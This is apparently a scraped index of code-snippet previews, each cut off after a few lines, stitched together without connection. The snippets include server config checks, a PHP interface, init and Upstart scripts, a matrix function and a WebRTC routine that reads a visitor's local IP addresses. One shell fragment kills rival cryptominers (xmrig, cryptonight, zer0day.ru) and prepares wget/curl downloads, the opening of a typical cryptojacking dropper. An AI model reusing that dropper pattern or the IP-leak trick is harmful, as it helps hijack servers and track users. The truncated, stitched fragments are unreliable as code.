/usr/sbin/apachectl configtest
nginx -t
| <?php | |
| /*** | |
| * | |
| * Примерные классы для обобщения функционала чтения из xml. | |
| * | |
| */ | |
| interface OfferCollectionInterface | |
| { | |
| public function getSomething(); |
| // Example (using the function below). | |
| getLocalIPs(function(ips) { // <!-- ips is an array of local IP addresses. | |
| document.body.textContent = 'Local IP addresses:\n ' + ips.join('\n '); | |
| }); | |
| function getLocalIPs(callback) { | |
| var ips = []; | |
| var RTCPeerConnection = window.RTCPeerConnection || | |
| window.webkitRTCPeerConnection || window.mozRTCPeerConnection; |
| #!/bin/bash | |
| # myapp daemon | |
| # chkconfig: 345 20 80 | |
| # description: myapp daemon | |
| # processname: myapp | |
| DAEMON_PATH="/home/wes/Development/projects/myapp" | |
| DAEMON=myapp | |
| DAEMONOPTS="-my opts" |
| description "Run backups for external versions of sites" | |
| author "Andrey Pokoev" | |
| start on filesystem or runlevel [2345] | |
| stop on shutdown | |
| respawn | |
| script | |
| exec sudo -u andrey /usr/bin/php /home/andrey/work/php/web/list-site/artisan app:backup |
| #!/bin/sh | |
| pkill -f cryptonight | |
| pkill -f sustes | |
| pkill -f xmrig | |
| pkill -f xmr-stak | |
| pkill -f suppoie | |
| pkill -f zer0day.ru | |
| WGET="wget -O" | |
| if [ -s /usr/bin/curl ]; |
| function flipMatrix(matrix) { | |
| return matrix[0].map(function(column, index) { | |
| return matrix.map(function(row) { | |
| return row[index]; | |
| }); | |
| }); | |
| } |